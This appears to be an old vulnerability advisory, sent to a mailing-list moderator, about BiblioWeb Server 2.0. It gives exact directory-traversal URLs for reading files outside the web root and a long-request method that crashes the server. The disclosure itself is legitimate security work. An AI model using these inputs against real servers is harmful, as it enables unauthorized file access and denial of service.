    To Ben Greenbaum:

        Please post this advisory instead of the last. I needed to
    make a minor change to the 'Vendor Status' section. Thanks.

    Vulnerabilities in BiblioWeb Server


    BiblioWeb Server 2.0 is a web server available from
    http://www.biblioscape.com. A vulnerability exists which allows a remote
    user to break out of the web root using relative paths (ie: '..', '...').
    A second vulnerability allows a remote attacker to crash the server.


    To break out of the web root, use the following URLs:

            http://localhost/..\[file outside web root]
            http://localhost/...\[file outside web root]

    To crash the server, telnet to port 80, and send:

            GET /[a lot of 'A's]

        The server crashes with the following dump:

    BIBLIOWEB caused an invalid page fault in
    module BIBLIOWEB.EXE at 017f:004069fd.
